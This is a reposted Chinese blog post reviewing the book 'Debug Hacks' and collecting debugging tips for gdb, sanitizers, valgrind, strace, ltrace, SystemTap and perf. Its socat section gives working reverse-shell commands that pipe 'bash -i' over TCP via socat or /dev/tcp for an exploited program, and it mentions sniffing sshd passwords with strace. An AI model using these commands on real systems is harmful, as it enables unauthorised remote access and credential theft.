《Debug Hacks》和调试技巧【转】

转自:https://blog.csdn.net/sdulibh/article/details/46462529

Debug Hacks

作者为吉冈弘隆、大和一洋、大岩尚宏、安部东洋、吉田俊辅,有中文版《Debug Hacks中文版—深入调试的技术和工具》。这本书涉及了很多调试技巧,对调试器使用、内核调试方法、常见错误的原因,还介绍了systemtapstraceltrace等一大堆工具,非常值得一读。

话说我听说过的各程序设计课程似乎都没有强调过调试的重要性,把调试当作单独一节课来上(就算有估计也上不好),很多人都只会printf调试法,breakpoint都很少用,就不提conditional breakpoint、watchpoint、reverse execution之类的了。也看到过很多同学在调试上浪费了很长很长的时间。

下面是篇review,也包含了一些我自己整理的一些调试技巧。

折腾工具

继续牢骚几句,我接触过的人当中感觉最执着与折腾工具的人只有两个,ppwwyyxxxiaq,他们是少有的能把折腾工具当作正经工作来做的人。

很久以前我还会到处在网上搜索好的实用工具,尤其是那些CLI程序,比如renameutilsxselrecodethe_silver_searcher,查阅文档定制自己的配置文件。但这么做花费的时间太多。后来就想我可以搜索一些善于折腾的人的配置文件,关注他们修改了哪些地方,我的配置只要取众家之所长就可以了。

先厚颜自荐一下我的配置。下面的用户列表就是我找到的在GitHub上把dotfiles配置地井井有条的人(如果GitHub支持按照项目的大小排序,列表搜集就能省很多麻烦了):


1

alejandrogomez bhj craigbarnes dotvim hamaco joedicastro laurentb ok100 pyx roylez sjl trapd00r vodik w0ng

有了上述的dotfiles,其他人的dotfiles大多都不愿看了。但是五岳归来不看山,黄山归来不看岳,ppwwyyxxdotfiles感觉与之前诸位相比更胜一筹。

无关的话到此结束,下面是正文:

gdb

记录历史

把下面几行添加到~/.gdbinit中吧,gdb启动时会自动读取里面的命令并执行:


1
2
3

set history save on
set history size 10000
set history filename ~/.history/gdb

我习惯在~/.history堆放各个历史文件。有了历史,使用readlinereverse-search-history (C-r)就能轻松唤起之前输入过的命令。

修改任意内存地址的值


1

set {int}0x83040 = 4

显示intel风格的汇编指令


1

set disassembly-flavor intel

断点在function prologue前

先说一下function prologue吧,每个函数最前面一般有三四行指令用来保存旧的帧指针(rbp),并腾出一部分栈空间(通常用于储存局部变量、为当前函数调用其他函数腾出空间存放参数,有时候还会存储字面字符串,当有nested function时也会用于保存当前的栈指针)。

在x86-64环境下典型的funcition prologue长成这样:


1
2
3

push rbp
mov rbp, rsp
sub rsp, 0x10

可能还会有and指令用于对齐rsp。如果编译时加上-fomit-frame-pointer(Visual Studio中文版似乎译作“省略框架指针”),那么生成的指令就会避免使用rbp,function prologue就会简化成下面一行:


1

sub rsp, 0x10

设置断点时如果使用了b *func的格式,也就是说在函数名前加上*gdb就会在执行function prologue前停下,而b func则是在执行function prologue后停下。参考下面的会话:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

% gdb a.out
Reading symbols from /tmp/a.out...done.
(gdb) b *main
Breakpoint at 0x4005cc: file a.c, line 4.
(gdb) r
Starting program: /tmp/a.out
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Breakpoint 1, main () at a.c:4
4 {
(gdb) disas
Dump of assembler code for function main:
=> 0x00000000004005cc <+0>: push rbp
0x00000000004005cd <+1>: mov rbp,rsp
0x00000000004005d0 <+4>: sub rsp,0x10
0x00000000004005d4 <+8>: mov DWORD PTR [rbp-0x4],0x0
0x00000000004005db <+15>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004005de <+18>: mov esi,eax
0x00000000004005e0 <+20>: mov edi,0x4006ec
0x00000000004005e5 <+25>: mov eax,0x0
0x00000000004005ea <+30>: call 0x400454 <printf@plt>
0x00000000004005ef <+35>: leave
0x00000000004005f0 <+36>: ret
End of assembler dump.
(gdb)

Checkpoint

gdb可以为被调试的程序创建一个快照,即保存程序运行时的状态,等待以后恢复。这个是非常方便的一个功能,特别适合需要探测接下来会发生什么但又不想离开当前状态时使用。

ch是创建快照,d c ID是删除指定编号的快照,i ch是查看所有快照,restart ID是切换到指定编号的快照,详细说明可以在shell里键入info '(gdb) Checkpoint/Restart'查看。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

% gdb ./a.out
Reading symbols from /tmp/a.out...done.
(gdb) b 6
Breakpoint 1 at 0x4005db: file a.c, line 6.
(gdb) r
Starting program: /tmp/a.out
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Breakpoint 1, main () at a.c:6
6 printf("%d\n", a);
(gdb) ch
checkpoint: fork returned pid 6420.
(gdb) p a=3
$1 = 3
(gdb) i ch
process 6420 at 0x4005db, file a.c, line 6
process 6416 (main process) at 0x4005db, file a.c, line 6
(gdb) restart 1
Switching to process 6420
#0 main () at a.c:6
6 printf("%d\n", a);
(gdb) c
Continuing.
0
[Inferior 1 (process 6420) exited with code 02]
[Switching to process 6416]
(gdb)

上面的会话中先用ch创建了一个快照,紧接着a被修改为了3,随后用restart 1恢复到编号为1的快照,继续运行程序可以发现a仍然为原来的值0。

以色列的Haifa Linux club有一次讲座讲gdb,讲稿值得一看:http://haifux.org/lectures/210/gdb_-_customize_it.html

逆向技术

Long Le的peda很不错,感觉比http://reverse.put.ashttps://github.com/gdbinit/Gdbinit好用。

gcc

Mudflap

使用了compile-time instrumentation(CTI)的工具。编译时加上-fmudflap -lmudflap选项即可,会在很多不安全代码生成的指令前加上判断合法性的指令。


1
2
3
4
5
6
7
8
9
10
11
12
13

% echo 'int main() { int z[1]; z[1] = 2; }' | cc -xc - -fmudflap -lmudflap
% ./a.out
*******
mudflap violation 1 (check/write): time=1376473424.792953 ptr=0x7fff2cde3150 size=8
pc=0x7fa2bacf86f1 location=`<stdin>:1:29 (main)'
/usr/lib/gcc/x86_64-pc-linux-gnu/4.7.3/libmudflap.so.0(__mf_check+0x41) [0x7fa2bacf86f1]
./a.out(main+0x8f) [0x400b6b]
/lib64/libc.so.6(__libc_start_main+0xf5) [0x7fa2ba968c35]
Nearby object 1: checked region begins 0B into and ends 4B after
mudflap object 0x7070e0: name=`<stdin>:1:18 (main) z'
bounds=[0x7fff2cde3150,0x7fff2cde3153] size=area=stack check=0r/3w liveness=3
alloc time=1376473424.792946 pc=0x7fa2bacf7de1
number of nearby objects: 1

第一行用-xc -cc从标准输入读源代码,并当作C来编译。接来下执行./a.out,可以看到运行时程序报错了。

使用MUDFLAP_OPTIONS环境变量可以控制Mudflap的运行期行为,具体参见Mudflap Pointer Debugging

AddressSanitizer

和Mudflap类似的工具,clanggcc可以加上选项-fsanitize=address使用,比如:


1

clang -fsanitize=address a.c

如果想在出错的地方断点停下来,可以用gdb打开,输入b __asan_report_store1回车,再输入r回车运行程序。

-ftrapv

这个选项是调试有符号整型溢出问题的利器。在i386环境下,gcc会把int32_t运算编译成call __addvsi3__addvsi3函数会在运行时检查32位有符号加法运算是否产生溢出,如果是则调用abort函数中止程序。减法、乘法和取反运算也有类似的运行时函数检查溢出,另外也有64位版本的__addvdi3等函数。但不存在对无符号整型的溢出检测函数。比如下面这些代码均会触发trap:


1
2
3
4

int a = INT_MAX; a++;
int b = INT_MIN; b--;
int c = INT_MAX; c *= 2;
int d = INT_MIN; d = -d;

这段代码来自gcc项目目录的libgcc/libgcc2.c


1
2
3
4
5
6
7
8
9
10
11

#ifdef L_subvsi3
Wtype
__subvSI3 (Wtype a, Wtype b)
{
const Wtype w = (UWtype) a - (UWtype) b;
if (b >= 0 ? w > a : w < a)
abort ();
return w;
}

但注意在x86-64环境下-ftrapv只检查64位溢出。考虑下面这段代码:


1
2
3
4
5
6
7
8
9
10
11
12
13

#include <limits.h>
#include <stdio.h>
int main()
{
int a = INT_MAX;
a++;
puts("barrier");
long b = LONG_MAX;
b++;
}

在x86-64下用gcc编译运行,输出barrier后才会执行abort使程序中止,因为int32_t的溢出不会触发trap。

clang也有-ftrapv,在x86-64环境下对于int32_t的溢出也能触发trap。

_FORTIFY_SOURCE

getsstrcpy这类函数容易造成stack mashing。gcc编译时如果指定了-D_FORTIFY_SOURCE=1,生成的汇编程序中这些不安全的函数调用会被替代为libc.so中名字类似__gets_chk的一类安全函数,会在运行期检查是否产生了缓冲区溢出。比如,下面的代码会在运行时报错:


1
2
3
4
5
6
7

#include <string.h>
int main()
{
char a[2];
strcpy(a, "meow");
}

Gentoo Portage从gcc-4.3.3-r1开始默认开启_FORTIFY_SOURCE标志了,好多发行版都开启了,测试发现Arch Linux的gcc似乎没有。shell里执行下面代码就可以看到Gentoo里是怎么定义_FORTIFY_SOURCE的了:


1

echo -e '#undef __OPTIMIZE__\nmain() { printf("%d\\n", _FORTIFY_SOURCE); }' | cpp

也就是当优化等级在-O1或以上时_FORTIFY_SOURCE会生效,名字为__$func_chk模式的函数会被使用。这种做法造成了一些麻烦,比如suricata git tree里的src/suricata.c使用了#ifdef _FORTIFY_SOURCE,会造成编译无法通过。

-fstack-protector

-fstack-protector -fstack-protector-all gcc 4.8.1 -fstack-protector-strong

https://securityblog.redhat.com/2013/10/23/debugging-stack-protector-failures/

开启Stack-Smashing Protector (SSP)。我的理解是在储存的帧指针(rbp)前写入一个magic number,函数返回的时候检查下这个magic number是否被改动,如果是就可能产生stack smashing了。这个方法的footprint最小,但是保护力度也比较弱。

IA32

function prologue 80484c0: 65 a1 14 00 00 00 mov eax,gs:0x14 80484c6: 89 45 f4 mov DWORD PTR [ebp-0xc],eax

function epilogue 80484d7: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484da: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80484e1: 74 05 je 80484e8 80484e3: e8 68 fe ff ff call 8048350  80484e8: c9 leave 80484e9: c3 ret

x86-64

function prologue:

4005c9: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005d0: 00 00 4005d2: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax

function epilogue

400618: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40061f: 00 00 400621: 74 05 je 400628 400623: e8 88 fe ff ff call 4004b0  400628: 48 83 c4 78 add rsp,0x78 40062c: c3 ret

execinfo.h

提供了int backtrace (void **buffer, int size)char ** backtrace_symbols (void *const *buffer, int size)在程序运行时查看函数调用栈。参见http://www.gnu.org/software/libc/manual/html_node/Backtraces.html

Misc

Valgrind

一系列调试和profiling工具的套件,其中的Memcheck是一个使用了dynamic binary instrumentation(DBI)的工具, 在程序指令间插入自己的指令检查validity和addressablity。另外Memcheck替换了标准的malloc,这样就可以检测出off-by-one error、double free、内存泄漏等许多问题。

Memcheck引入的footprint极小,无需重编译程序,也没有繁琐的配置。比如原来是用./a.out执行程序,需要Memcheck时就换成valgrind ./a.out

在程序访问某一内存地址时Memcheck会检查是否有越界之类的错误,Memcheck能诊断出大量但不是全部的访问错误,比如下面这样有问题的代码就没法检查出来:


1
2
3
4
5

int main()
{
int a[1];
a[1992] = 12;
}

因为a[1992]的地址在栈上,允许访问。

Valgrind启动时会读取~/.valgrindrc,对于memcheck我配置了下面这几行:


1
2
3
4
5
6
7
8

--memcheck:leak-check=yes
--memcheck:show-possibly-lost=yes
--memcheck:show-reachable=yes
--memcheck:track-origins=yes
--memcheck:dsymutil=yes
--memcheck:track-fds=yes
--memcheck:track-origins=yes
--memcheck:gen-suppressions=all

valgrind --vgdb-error=0 --vgdb=yes很强大,可以在进程遇到错误时让gdb调试。

strace

记录程序执行的系统调用和收到的信号,和valgrind类似,使用非常简单:


1

strace ./a.out

有一些选项可以attach到现有进程上去(-p)、记录时刻(-t)、统计系统调用使用次数(-c)、过滤特定的系统调用(-e)等。

带上-c选项可以统计系统调用的使用次数:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

strace -ls
chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17
time seconds usecs/call calls errors syscall
---------------------------------------------------------
0.00 0.000000 read
0.00 0.000000 write
0.00 0.000000 open
0.00 0.000000 10 close
0.00 0.000000 fstat
0.00 0.000000 20 mmap
0.00 0.000000 12 mprotect
0.00 0.000000 munmap
0.00 0.000000 brk
0.00 0.000000 rt_sigaction
0.00 0.000000 rt_sigprocmask
0.00 0.000000 ioctl
0.00 0.000000 access
0.00 0.000000 execve
0.00 0.000000 fcntl
0.00 0.000000 getdents
0.00 0.000000 getrlimit
0.00 0.000000 arch_prctl
0.00 0.000000 futex
0.00 0.000000 set_tid_address
0.00 0.000000 openat
0.00 0.000000 set_robust_list
---------------------------------------------------------
100.00 0.000000 85 total

-e选项只跟踪指定系统调用:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

% strace -e read,open ls
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220(\0\0\0\0\0\0"..., 832) = 832
open("/lib64/libacl.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"..., 832) = 832
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@M\2\0\0\0\0\0"..., 832) = 832
open("/lib64/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@}\0\0\0\0\0\0"..., 832) = 832
open("/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\25\0\0\0\0\0\0"..., 832) = 832
open("/usr/lib64/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17
+++ exited with 0 +++

使用strace还可以做一些很可怕的事,比如有root权限的情况下嗅探sshd以得到其他尝试SSH登录的用户的密码:SSHD password sniffing

-p很有用,比如调试CGI wrapperfcgiwrap,观察它的输出:


1

strace -s200 -p$(pidof -s fcgiwrap) -e write

ltrace

记录程序调用的动态库中的函数。名字和strace很像,使用方式和很多命令行选项也如出一辙。

查看echo test


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

% ltrace echo test
__libc_start_main(0x401590, 2, 0x7fff2bb3d4d8, 0x403ef0 <unfinished ...>
getenv("POSIXLY_CORRECT") = nil
strrchr("echo", '/') = nil
setlocale(LC_ALL, "") = "en_US.UTF-8"
bindtextdomain("coreutils", "/usr/share/locale") = "/usr/share/locale"
textdomain("coreutils") = "coreutils"
__cxa_atexit(0x401cf8, 0, 0, 0x736c6974756572) = 0
strcmp("test", "--help") = 71
strcmp("test", "--version") = 71
fputs_unlocked(0x7fff2bb3f1d3, 0x7f50af982160, 0, 45) = 1
putchar_unlocked(10, 116, 0x7f50afba6004, 0xfbad2a84test
) = 10
exit(0 <unfinished ...>
__fpending(0x7f50af982160, 0, 4, 0x7f50af982cf0) = 0
ferror_unlocked(0x7f50af982160, 0, 4, 0x7f50af982cf0) = 0
fileno(0x7f50af982160) = 1
__freading(0x7f50af982160, 0, 4, 0x7f50af982cf0) = 0
__freading(0x7f50af982160, 0, 2052, 0x7f50af982cf0) = 0
fflush(0x7f50af982160) = 0
fclose(0x7f50af982160) = 0
__fpending(0x7f50af982080, 0, 0, 0) = 0
ferror_unlocked(0x7f50af982080, 0, 0, 0) = 0
fileno(0x7f50af982080) = 2
__freading(0x7f50af982080, 0, 0, 0) = 0
__freading(0x7f50af982080, 0, 4, 0) = 0
fflush(0x7f50af982080) = 0
fclose(0x7f50af982080) = 0
+++ exited (status 0) +++

Ltrace Internals描述了ltrace的实现机制。

SystemTap

SystemTap提供了一套底层工具用于trace/probe。用户编写SystemTap script语言的程序,SystemTap将其翻译为C代码,再编译成临时的内核模块。内核模块加载时SystemTap script脚本里的hook就会在特定event发生时执行。当SystemTap脚本停止运行时,相应的hook就被删除,移除临时的内核模块。这一整套流程都是通过一个简单的CLI程序stap驱动的。

SystemTap使用前的配置过程比较复杂,需要特制的内核,开启CONFIG_KPROBES=yCONFIG_DEBUG_INFO=y等诸多内核编译选项。

比如如下的简单脚本就能显示各进程调用net/socket.c内函数的情况:


1
2
3
4
5
6

probe kernel.function("*@net/socket.c").call {
printf ("%s -> %s\n", thread_indent(1), ppfunc())
}
probe kernel.function("*@net/socket.c").return {
printf ("%s <- %s\n", thread_indent(-1), ppfunc())
}

perf


1
2
3
4

perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a
perf annotate
sudo perf probe -x ~/tmp/a 'main%return %ip %sp'
sudo perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a && sudo perf script

可执行文件不能在tmpfs分区。


1

A=~/tmp; cc -xc <(echo 'main(){}') -Wl,-rpath,$A -o a && sudo perf probe -d '*' || :; sudo perf probe -x $A/libc.so.6 malloc && sudoperf record -e probe_libc:malloc -aR ./a && sudo perf report -n

其他

书里还介绍了很多神奇的玩意儿,比如kaho,用于读取被编译器优化掉的变量;livepatch,运行时动态修改变量、替换函数等。这两个工具我在网上检索了下,感觉是个proof of concept的东西,也没有更新了。不够这些思路很奇特,想到了并试图去解决调试时常受困扰的问题,很棒。

 

 

 

CFLAGS使用-g3

 

对于重度使用macro的程序很有用,可以在gdb里使用info macro NAMEmacro expand EXPR等命令了,print参数里的macro也可以展开。

rr

参见http://rr-project.org/,调试时最痛苦的莫过于难于重现,rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的,由此可见它的可用性……幻灯片http://rr-project.org/rr.html介绍了很多内部机理,值得一看。

gdb -p不可用: ptrace: Operation not permitted.

gdb无法attach到用户相同的另一个进程上。Arch Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope,参见https://lwn.net/Articles/393012/,即不具有CAP_SYS_PTRACE capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话,可以执行sudo sysctl kernel.yama.ptrace_scope=0

收到SIGINT(或其他信号)后立刻用gdb调试自己

设想是fork产生一个新进程并停下来,原进程exec成gdb并attach调试新进程。注意:新进程应设置以创建新的进程组,不然gdb按数次continue后自身也会被stop,gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因,但进程组经常作为一个整体和信号、终端等概念相互关联,可能是这方面的原因。

这里SIGINT可以考虑换成SIGFPESIGSEGV等,以防止进程死亡,用gdb交互式检视各个变量的值等以便于差错。

https://gist.github.com/MaskRay/298e87e465f45988d37f


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
void sigint(int)
{
pid_t pid = fork();
if (pid == -1)
abort();
else if (pid) {
char s[13];
sprintf(s, "%d", pid);
execlp("gdb", "gdb", "-p", s, NULL);
else {
setpgid(0, getpid());
kill(getpid(), SIGSTOP);
}
}
 
int main()
{
signal(SIGINT, sigint);
sleep(1337);
puts("seen after gdb");
sleep(1337);
}

调试使用终端特性的程序

对于ncurses这类使用终端特性的程序,在gdb下调试时,gdb交互的终端也会被程序使用,程序可能执行屏幕擦除、移动光标等操作,和gdb交互的输出混杂在一起,产生干扰。解决方案是使用gdb的tty命令(文档见info '(gdb) Input/Output')。下面以rlwrap rev为例说明调试方法。

使用coreutils中的tty命令(并非gdb的tty命令)获得当前终端的名称,如/dev/pts/13,然后创建新shell会话,假设终端名是/dev/pts/14,将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999(如果不执行这条命令的话,/dev/pts/14的前台进程组是shell,会抢夺终端输入,而sleep不会读取终端输入,因此不会和被调试程序竞争)。

然后回到原来的shell会话(/dev/pts/13),用gdb调试程序:


1
2
3

% gdb -tty /dev/pts/14 --args rlwrap rev
Reading symbols from rlwrap...(no debugging symbols found)...done.
(gdb) r

之后即可在/dev/pts/14和被调试程序交互了。或者用命令tty /dev/pts/14替代命令行选项-tty

注意,此时被调试程序的标准输入、输出、出错均为/dev/pts/14,但没有控制终端(controlling terminal),并且能在/dev/pts/14看到gdb的警报:warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace调试gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted),即gdb尝试把/dev/pts/14设为被调试进程的控制进程,但失败了。原因是/dev/pts/14上还有shell和sleep 9999以它为控制终端,无法抢夺。不过多数情况用不着控制终端提供的一些功能。

参见http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php

socat

把不同输入输出端对接的瑞士军刀,是nc的进化型,支持非常多的网络协议、文件等IO方式。

下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。

对弈的gnuchess

创建black.sh


1
2

#!/bin/zsh
echo depth 0; cat; echo exit;} | gnuchess -e | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

socat启动TCP服务端:socat tcp-l:4444,reuseaddr exec:./black.sh

创建white.sh


1
2

#!/bin/zsh
echo depth 0; echo go; cat; echo exit;} | gnuchess -e | tee /tmp/output | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

socat启动TCP客户端:socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到两个gnuchess进程的对局。执行gnuchess,输入depth 0后可以限制它的搜索深度(加快运行速度),输入go可以让它走一步。

写到此处,忽然想到之前NOI 2010团体对抗赛时,不了解这些东西的用法,浪费了很大工夫。

输入输出到终端的reverse shell

通常用system("sh")等方式搞的shell都不是interactive shell,没有提示符,也无法用readline的快捷键,不方便。下面介绍产生interactive shell的方法:

本地监听9999端口,等远端被pwn的程序连接:


1
2

socat stdio,raw,echo=0 tcp-l:9999
# 或者使用stty -echo raw; nc -l 9999; stty echo -raw

远端执行:


1

socat tcp:0:9999 exec:'bash -i',pty,stderr # 0应填之前监听9999端口的机器的IP

当然远端很可能没有socat,可以用util-linux包中的script


1

script -qc 'bash -i' /dev/null &>/dev/tcp/0/9999 <&# 使用了bash创建socket的功能

pstack

打印指定进程的系统栈。

本质是一段脚本,核心是下面这句话:


1
2

#!/bin/zsh
gdb -q -nx -p $1 <<< 't a a bt' 2>&- | sed -ne '/^#/p'

你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt了。


1
2
3
4
5
6
7
8
9
10
11
12

% pstack $$
#0 0x00007fc00a3a6866 in sigsuspend () from /usr/lib/libc.so.6
#1 0x0000000000471906 in signal_suspend ()
#2 0x0000000000442d56 in ?? ()
#3 0x0000000000443437 in waitjobs ()
#4 0x0000000000429b4b in ?? ()
#5 0x000000000042a6e1 in execlist ()
#6 0x000000000042a970 in execode ()
#7 0x000000000043c1dc in loop ()
#8 0x000000000043f30e in zsh_main ()
#9 0x00007fc00a393800 in __libc_start_main () from /usr/lib/libc.so.6
#10 0x000000000041013e in _start ()

安装新的gdb

gdb和gcc有一定的版本适配性,有些恶劣的工作环境需要自己编译安装gdb,下面只是我折腾C++ STL查看器的注记。


1

./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python

~/.gdbinit里添加:


1
2
3
4
5
6

python
import sys
sys.path.append('/usr/share/gcc-4.9/python')
from libstdcxx.v6.printers import register_libstdcxx_printers
register_libstdcxx_printers(None)
end

没有源码的环境调试

用sshfs或其他文件共享手段从其他机器上挂载源码目录,使用directory命令设置源码查找目录。另外还有set substitute-path,参见info '(gdb) Source Path'

MongoDB resource limits动态设置调试记

MongoDB使用mmap映射数据文件及分配内存,把内存管理的任务交给操作系统,造成内存使用量无法控制。我误以为resource limits中的RLIMIT_AS可以限制虚拟内存使用, 就在启动mongod前执行ulimit -v $[512*1024],效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。

在测试写入性能时,发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录:


1
2

2015-03-13T20:20:18.558+0800 [conn1] ERROR: mmap private failed with out of memory. (64 bit build)
2015-03-13T20:20:18.558+0800 [conn1] Assertion: 13636:file /tmp/db/test.2 open/create failed in createPrivateMap (look in logfor more information)

大概每5秒钟会产生一段错误记录,估计和mmap有关。使用strace查看mongod及其所有子进程(包括当前和未来创建的)的mmap系统调用:strace -fe mmap -p $(pgrep -n mongod),产生大量重复的输出:


1
2

[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000
[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 17, 0) = -1 ENOMEM (Cannot allocate memory)

即以两个mmap为单元,不断输出这两行,注意到mmap(2)参数中的文件描述符fd,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜测这两个mmap都和数据文件(test.0test.1等)有关。后来再用pmap -p $(pgrep -n mongod)列示已映射的地址空间,发现与0x7f2e58716000(第一次执行的mmap的返回值)地址相近的都是些数据文件,印证了猜测。后来看/proc下该进程的相关信息,发现/proc/$(pgrep -n mongod)/limits列示的Max address space不正常,终于想到是先前ulimit -v限制了地址空间大小,导致了这个问题。之后有两个解决办法,一是关闭mongod,修改resource limits后重启,二是动态修改resource limits。为了好玩,自然选第二个。先要找出RLIMIT_AS的数值:ag RLIMIT_AS /usr/include/bits,发现是9,之后用gdb attach到mongod上修改resource limits:


1
2
3
4
5
6
7

$ gdb -p $(pgrep -n mongod)
(gdb) set $r = &{0ll, 0ll}
(gdb) p getrlimit(9,$r)
$1 = 0
(gdb) set (*$r)[0]=-# struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的项是rlim_cur
(gdb) p setrlimit(9,$r)
$1 = 0

成功修改了resource limits!之后日志中果然出现了数据文件新建成功的信息,不再有mmap的错误了。

posted @ 2018-11-12 17:04  Sky&Zhang  阅读(1933)  评论(0编辑  收藏  举报